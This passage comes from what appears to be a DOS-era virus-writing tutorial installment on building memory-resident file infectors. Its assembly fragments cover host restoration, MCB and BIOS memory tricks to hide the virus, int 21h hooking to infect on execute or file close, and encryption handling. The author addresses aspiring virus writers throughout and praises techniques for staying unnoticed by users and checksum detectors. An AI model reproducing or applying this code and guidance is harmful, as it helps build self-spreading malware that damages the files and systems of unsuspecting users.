  1922.   In case  you missed  it the last time, here is a quick, general overview of
  1923.   the structure  of the  resident virus.   The  virus consists  of two  major
  1924.   portions, the  loading stub  and the  interrupt handlers.  The loading stub
  1925.   performs two  functions.  First, it redirects interrupts to the virus code.
  1926.   Second, it causes the virus to go resident.  The interrupt handlers contain
  1927.   the code  which  cause  file  infection.    Generally,  the  handlers  trap
  1928.   interrupt 21h and intercept such calls as file execution.
  1929.   
  1930.   ÄÄÄÄÄÄÄÄÄÄÄÄ
  1931.   LOADING STUB
  1932.   ÄÄÄÄÄÄÄÄÄÄÄÄ
  1933.   The loading  stub consists of two major portions, the residency routine and
  1934.   the restoration  routine.   The latter portion, which handles the return of
  1935.   control to  the original  file, is  identical as the one in the nonresident
  1936.   virus.  I will briefly touch upon it here.
  1937.   
  1938.   By now  you  should  understand  thoroughly  the  theory  behind  COM  file
  1939.   infection.   By simply  replacing the  first few  bytes,  transfer  can  be
  1940.   controlled to  the virus.   The  trick in  restoring COM files is simply to
  1941.   restore the  overwritten  bytes  at  the  beginning  of  the  file.    This
  1942.   restoration takes place only in memory and is therefore far from permanent.
  1943.   Since COM files always load in a single memory segment and begin loading at
  1944.   offset 100h  in the  memory  segment  (to  make  room  for  the  PSP),  the
  1945.   restoration procedure  is very  simple.   For example,  if the  first three
  1946.   bytes of  a COM  file were  stored in a buffer called "first3" before being
  1947.   overwritten by the virus, then the following code would restore the code in
  1948.   memory:
  1949.   
  1950.     mov  di,100h          ; Absolute location of destination
  1951.     lea  si,[bp+first3]   ; Load address of saved bytes.
  1952.                           ; Assume bp = "delta offset"
  1953.     movsw                 ; Assume CS = DS = ES and a cleared direction flag
  1954.     movsb                 ; Move three bytes
  1955.   
  1956.   The problem of returning control to the program still remains.  This simply
  1957.   consists of  forcing the  program to  transfer control to offset 100h.  The
  1958.   easiest routine follows:
  1959.   
  1960.     mov  di,100h
  1961.     jmp  di
  1962.   
  1963.   There are  numerous variations of this routine, but they all accomplish the
  1964.   basic task of setting the ip to 100h.
  1965.   
  1966.   You should  also understand  the concept  behind EXE infection by now.  EXE
  1967.   infection, at  its most  basic level, consists of changing certain bytes in
  1968.   the EXE  header.   The trick  is simply  to undo  all the changes which the
  1969.   virus made.  The code follows:
  1970.   
  1971.     mov     ax, es                          ; ES = segment of PSP
  1972.     add     ax, 10h                         ; Loading starts after PSP
  1973.     add     word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
  1974.                                             ; relative to end of PSP
  1975.     cli
  1976.     add     ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
  1977.     mov     ss, ax
  1978.     mov     sp, word ptr cs:[bp+OrigSSSP]
  1979.     sti
  1980.     db      0eah                            ; JMP FAR PTR SEG:OFF
  1981.   OrigCSIP  dd ?                            ; Put values from the header
  1982.   OrigSSSP  dd ?                            ; into here
  1983.   
  1984.   If the  virus is  an EXE-specific  infector but you still wish to use a COM
  1985.   file as  the carrier file, then simply set the OrigCSIP value to FFF0:0000.
  1986.   This will  be changed  by the  restoration routine  to PSP:0000  which  is,
  1987.   conveniently, an int 20h instruction.
  1988.   
  1989.   All that  stuff should  not be  new.   Now we shall tread on new territory.
  1990.   There are  two methods  of residency.  The first is the weenie method which
  1991.   simply consists of using DOS interrupts to do the job for you.  This method
  1992.   sucks because  it is  1) easily  trappable by  even the  most primitive  of
  1993.   resident virus  monitors and  2) forces the program to terminate execution,
  1994.   thereby alerting  the user  to the  presence of the virus.  I will not even
  1995.   present code  for the  weenie method  because, as  the name suggests, it is
  1996.   only for  weenies.   Real programmers  write their  own residency routines.
  1997.   This basically consists of MCB-manipulation.  The general method is:
  1998.   
  1999.   1.   Check for prior installation.  If already installed, exit the virus.
  2000.   2.   Find the top of memory.
  2001.   3.   Allocate the high memory.
  2002.   4.   Copy the virus to high memory.
  2003.   5.   Swap the interrupt vectors.
  2004.   
  2005.   There are  several variations  on this technique and they will be discussed
  2006.   as the need arises.
  2007.   
  2008.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2009.   INSTALLATION CHECK
  2010.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2011.   There are  several different  types of installation check.  The most common
  2012.   is a  call to int 21h with AX set to a certain value.  If certain registers
  2013.   are returned  set to  certain values,  then the  virus is  resident.    For
  2014.   example, a sample residency check would be:
  2015.   
  2016.     mov  ax,9999h  ; residency check
  2017.     int  21h
  2018.     cmp  bx,9999h  ; returns bx=9999h if installed
  2019.     jz   already_installed
  2020.   
  2021.   When choosing  a value  for ax in the installation check, make sure it does
  2022.   not conflict  with an  existing function  unless the  function is harmless.
  2023.   For example,  do not  use display  string (ah=9)  unless you  wish to  have
  2024.   unpredictable results  when the virus is first being installed.  An example
  2025.   of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
  2026.   (ah=0bh).   Of course, if the check conflicts with a current function, make
  2027.   sure it  is narrow  enough so no programs will have a problem with it.  For
  2028.   example, do  not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
  2029.   bx=3030h.
  2030.   
  2031.   Another  method  of  checking  for  residency  is  to  search  for  certain
  2032.   characteristics of  the virus.   For  example, if  the virus always sets an
  2033.   unused interrupt  vector to  point to  its code, a possible residency check
  2034.   would be to search the vector for the virus characteristics.  For example:
  2035.   
  2036.     xor  ax,ax
  2037.     mov  ds,ax     ; ds->interrupt table
  2038.     les  bx,ds:[60h*4] ; get address of interrupt 60h
  2039.                    ; assume the virus traps this and puts its int 21h handler
  2040.                    ; here
  2041.     cmp  es:bx,0FF2Eh ; search for the virus string
  2042.      .
  2043.      .
  2044.      .
  2045.   int60:
  2046.     jmp far ptr cs:origint21
  2047.   
  2048.   When using this method, take care to ensure that there is no possibility of
  2049.   this characteristic  being false when the virus is resident.  In this case,
  2050.   another program must not trap the int 60h vector or else the check may fail
  2051.   even if  the virus  is  already  resident,  thereby  causing  unpredictable
  2052.   results.
  2053.   
  2054.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2055.   FIND THE TOP OF MEMORY
  2056.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2057.   DOS generally  loads all available memory to a program upon loading.  Armed
  2058.   with this  knowledge, the  virus can  easily determine the available memory
  2059.   size.  Once again, the MCB structure is:
  2060.   
  2061.   Offset    Size Meaning
  2062.   ------ ------- -------
  2063.   0         BYTE 'M' or 'Z'
  2064.   1         WORD Process ID (PSP of block's owner)
  2065.   3         WORD Size in paragraphs
  2066.   5      3 BYTES Reserved (Unused)
  2067.   8      8 BYTES DOS 4+ uses this.  Yay.
  2068.   
  2069.     mov  ax,ds     ; Assume DS initially equals the segment of the PSP
  2070.     dec  ax
  2071.     mov  ds,ax     ; DS = MCB of infected program
  2072.     mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)
  2073.   
  2074.   A simpler  method of  performing the same action is to use DOS's reallocate
  2075.   memory function in the following manner:
  2076.   
  2077.     mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
  2078.     mov  bx,0FFFFh ; Request a ridiculous amount of memory
  2079.     int  21h       ; Returns maximum available memory in BX
  2080.                    ; This is the same value as in ds:[3]
  2081.   
  2082.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2083.   ALLOCATE THE HIGH MEMORY
  2084.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2085.   The easiest method to allocate memory is to let DOS do the work for you.
  2086.   
  2087.     mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
  2088.     sub  bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
  2089.                    ; memory available to the program (returned by earlier
  2090.                    ; call to int 21h/function 4ah
  2091.     int  21h
  2092.   
  2093.     mov  ah,48h    ; Allocate memory
  2094.     mov  bx,(endvirus-startvirus+15)/16
  2095.     int  21h
  2096.     mov  es,ax     ; es now holds the high memory segment
  2097.   
  2098.     dec  bx
  2099.     mov  byte ptr ds:[0], 'Z' ; probably not needed
  2100.     mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB
  2101.   
  2102.   The purpose  of marking  DOS as  the owner  of the  MCB is  to prevent  the
  2103.   deallocation of the memory area upon termination of the carrier program.
  2104.   
  2105.   Of course, some may prefer direct manipulation of the MCBs.  This is easily
  2106.   accomplished.   If ds is equal to the segment of the carrier program's MCB,
  2107.   then the following code will do the trick:
  2108.   
  2109.     ; Step 1) Shrink the carrier program's memory allocation
  2110.     ; One paragraph is added for the MCB of the memory area which the virus
  2111.     ; will inhabit
  2112.     sub  ds:[3],(endvirus-startvirus+15)/16 + 1
  2113.   
  2114.     ; Step 2) Mark the carrier program's MCB as the last in the chain
  2115.     ; This isn't really necessary, but it assures that the virus will not
  2116.     ; corrupt the memory chains
  2117.     mov  byte ptr ds:[0],'Z'
  2118.   
  2119.     ; Step 3) Alter the program's top of memory field in the PSP
  2120.     ; This preserves compatibility with COMMAND.COM and any other program
  2121.     ; which uses the field to determine the top of memory
  2122.     sub  word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
  2123.   
  2124.     ; Step 4) Calculate the first usable segment
  2125.     mov  bx,ds:[3] ; Get MCB size
  2126.     stc            ; Add one for the MCB segment
  2127.     adc  bx,ax     ; Assume AX still equals the MCB of the carrier file
  2128.                    ; BX now holds first usable segment.  Build the MCB
  2129.                    ; there
  2130.     ; Alternatively, you can use the value in ds:[12h] as the first usable
  2131.     ; segment:
  2132.     ; mov  bx,ds:[12h]
  2133.   
  2134.     ; Step 5) Build the MCB
  2135.     mov  ds,bx     ; ds holds the area to build the MCB
  2136.     inc  bx        ; es now holds the segment of the memory area controlled
  2137.     mov  es,bx     ; by the MCB
  2138.     mov  byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
  2139.                    ; Note: you can have more than one MCB chain
  2140.     mov  word ptr ds:[1],8   ; Mark DOS as the owner
  2141.     mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
  2142.   
  2143.   There is yet another method involving direct manipulation.
  2144.   
  2145.     ; Step 1) Shrink the carrier program's memory allocation
  2146.     ; Note that rounding is to the nearest 1024 bytes and there is no
  2147.     ; addition for an MCB
  2148.     sub  ds:[3],((endvirus-startvirus+1023)/1024)*64
  2149.   
  2150.     ; Step 2) Mark the carrier program's MCB as the last in the chain
  2151.     mov  byte ptr ds:[1],'Z'
  2152.   
  2153.     ; Step 3) Alter the program's top of memory field in the PSP
  2154.     sub  word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
  2155.   
  2156.     ; Step 4) Calculate the first usable segment
  2157.     mov  es,word ptr ds:[12h]
  2158.   
  2159.     ; Step 5) Shrink the total memory as held in BIOS
  2160.     ; Memory location 0:413h holds the total system memory in K
  2161.     xor  ax,ax
  2162.     mov  ds,ax
  2163.     sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
  2164.   
  2165.   This method  is great  because it  is simple and short.  No MCB needs to be
  2166.   created because  DOS will no longer allocate memory held by the virus.  The
  2167.   modification of the field in the BIOS memory area guarantees this.
  2168.   
  2169.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2170.   COPY THE VIRUS TO HIGH MEMORY
  2171.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2172.   This is  ridiculously easy  to do.  If ES holds the high memory segment, DS
  2173.   holds CS, and BP holds the delta offset, then the following code will do:
  2174.   
  2175.     lea  si,[bp+offset startvirus]
  2176.     xor  di,di     ; destination @ 0
  2177.     mov  cx,(endvirus-startvirus)/2
  2178.     rep  movsw     ; Copy away, use words for speed
  2179.   
  2180.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2181.   SWAP INTERRUPT VECTORS
  2182.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2183.   There are,  once again,  two ways  to do this; via DOS or directly.  Almost
  2184.   every programmer  worth his  salt has  played with interrupt vectors at one
  2185.   time or another.  Via DOS:
  2186.   
  2187.     push es        ; es->high memory
  2188.     pop  ds        ; ds->high memory
  2189.     mov  ax,3521h  ; get old int 21h handler
  2190.     int  21h       ; to es:bx
  2191.     mov  word ptr ds:oldint21,bx  ; save it
  2192.     mov  word ptr ds:oldint21+2,es
  2193.     mov  dx,offset int21 ; ds:dx->new int 21h handler in virus
  2194.     mov  ax,2521h  ; set handler
  2195.     int  21h
  2196.   
  2197.   And direct manipulation:
  2198.     xor  ax,ax
  2199.     mov  ds,ax
  2200.     lds  bx,ds:[21h*4]
  2201.     mov  word ptr es:oldint21,bx
  2202.     mov  word ptr es:oldint21+2,ds
  2203.     mov  ds,ax
  2204.     mov  ds:[21h*4],offset int21
  2205.     mov  ds:[21h*4+2],es
  2206.   
  2207.   Delta offset  calculations  are  not  needed  since  the  location  of  the
  2208.   variables is  known.   This is because the virus is always loaded into high
  2209.   memory starting in offset 0.
  2210.   
  2211.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2212.   INTERRUPT HANDLER
  2213.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2214.   The interrupt  handler intercepts  function calls  to DOS and waylays them.
  2215.   The interrupt  handler typically  begins with  a check  for a  call to  the
  2216.   installation check.  For example:
  2217.   
  2218.   int21:
  2219.     cmp  ax,9999h  ; installation check?
  2220.     jnz  not_installation_check
  2221.     xchg ax,bx     ; return bx = 9999h if installed
  2222.     iret           ; exit interrupt handler
  2223.   not_installation_check:
  2224.   ; rest of interrupt handler goes here
  2225.   
  2226.   With this  out of  the way,  the virus  can trap whichever DOS functions it
  2227.   wishes.    Generally  the  most  effective  function  to  trap  is  execute
  2228.   (ax=4b00h), as  the most commonly executed files will be infected.  Another
  2229.   function to  trap, albeit  requiring more work, is handle close.  This will
  2230.   infect  on   copies,  viewings,  patchings,  etc.    With  some  functions,
  2231.   prechaining is  desired; others,  postchaining.   Use common sense.  If the
  2232.   function destroys  the filename  pointer, then  use prechaining.    If  the
  2233.   function   needs   to  be   completed  before  infection  can  take  place,
  2234.   postchaining should be used.  Prechaining is simple:
  2235.   
  2236.     pushf           ; simulate an int 21h call
  2237.     call dword ptr cs:oldint21
  2238.   
  2239.   ; The following code ensures that the flags will be properly set upon
  2240.   ; return to the caller
  2241.     pushf
  2242.     push bp
  2243.     push ax
  2244.   
  2245.   ; flags         [bp+10]
  2246.   ; calling CS:IP [bp+6]
  2247.   ; flags new     [bp+4]
  2248.   ; bp            [bp+2]
  2249.   ; ax            [bp]
  2250.   
  2251.     mov  bp, sp     ; setup stack frame
  2252.     mov  ax, [bp+4] ; get new flags
  2253.     mov  [bp+10], ax; replace the old with the new
  2254.   
  2255.     pop  ax         ; restore stack
  2256.     pop  bp
  2257.     popf
  2258.   
  2259.   To exit  the interrupt  handler after  prechaining, use  an iret  statement
  2260.   rather than a retn or retf.  Postchaining is even simpler:
  2261.   
  2262.     jmp  dword ptr cs:oldint21 ; this never returns to the virus int handler
  2263.   
  2264.   When leaving  the interrupt  handler, make  sure  that  the  stack  is  not
  2265.   unbalanced and  that the  registers were  not altered.   Save the registers
  2266.   right after prechaining and long before postchaining.
  2267.   
  2268.   Infection in  a resident  virus is  essentially  the  same  as  that  in  a
  2269.   nonresident virus.   The  only difference occurs when the interrupt handler
  2270.   traps one  of the functions used in the infection routine.  For example, if
  2271.   handle close is trapped, then the infection routine must replace the handle
  2272.   close int 21h call with a call to the original interrupt 21h handler, a la:
  2273.   
  2274.     pushf
  2275.     call dword ptr cs:oldint21
  2276.   
  2277.   It is also necessary to handle encryption in another manner with a resident
  2278.   virus.  In the nonresident virus, it was not necessary to preserve the code
  2279.   at all  times.   However, it  is desirable to keep the interrupt handler(s)
  2280.   decrypted, even  when infecting.   Therefore,  the virus  should  keep  two
  2281.   copies of  itself in  memory, one  as code  and one as data.  The encryptor
  2282.   should encrypt  the secondary  copy  of  the  virus,  thereby  leaving  the
  2283.   interrupt handler(s)  alone.   This is  especially important  if the  virus
  2284.   traps other interrupts such as int 9h or int 13h.
  2285.   
  2286.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2287.   A THEORY ON RESIDENT VIRUSES
  2288.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2289.   Resident viruses  can typically  be divided  into two  categories; slow and
  2290.   fast infectors.  They each have their own advantages and disadvantages.
  2291.   
  2292.   Slow infectors  do not  infect except in the case of a file creation.  This
  2293.   infector traps file creates and infects upon the closing of the file.  This
  2294.   type of  virus infects  on new  file creations  and copying  of files.  The
  2295.   disadvantage is  that the  virus spreads slowly.  This disadvantage is also
  2296.   an advantage,  as this  may keep  it undetected  for a long time.  Although
  2297.   slow infectors sound ineffective, in reality they can work well.  Infection
  2298.   on file  creations means that checksum/CRC virus detectors won't be able to
  2299.   checksum/CRC the  file until  after it  has been  infected.   Additionally,
  2300.   files are  often copied  from one  directory to  another after testing.  So
  2301.   this method can work.
  2302.   
  2303.   Fast infectors  infect on  executes.   This type  of virus will immediately
  2304.   attack commonly  used files,  ensuring the continual residency of the virus
  2305.   in subsequent  boots.   This is  the primary  advantage, but it is also the
  2306.   primary disadvantage.   The  infector works  so rapidly  that the  user may
  2307.   quickly detect  a discrepancy with the system, especially if the virus does
  2308.   not utilise any stealth techniques.
  2309.   
  2310.   Of course,  there is  no  "better"  way.    It  is  a  matter  of  personal
  2311.   preference.   The vast  majority  of  viruses  today  are  fast  infectors,
  2312.   although slow infectors are beginning to appear with greater frequency.
  2313.   
  2314.   If the  virus is  to infect  on a  create or  open, it  first must copy the
  2315.   filename to  a buffer,  execute the  call, and  save the handle.  The virus
  2316.   must then  wait for  a handle close corresponding to that handle and infect
  2317.   using the  filename stored  in the  buffer.  This is the simplest method of
  2318.   infecting after a handle close without delving into DOS internals.
  2319.   
  2320.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2321.   IF YOU DON'T UNDERSTAND IT YET
  2322.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2323.   don't despair;  it will  come after  some time and much practise.  You will
  2324.   soon find  that resident  viruses  are  easier  to  code  than  nonresident
  2325.   viruses.   That's all  for this  installment, but  be sure to grab the next
  2326.   one.
  2327.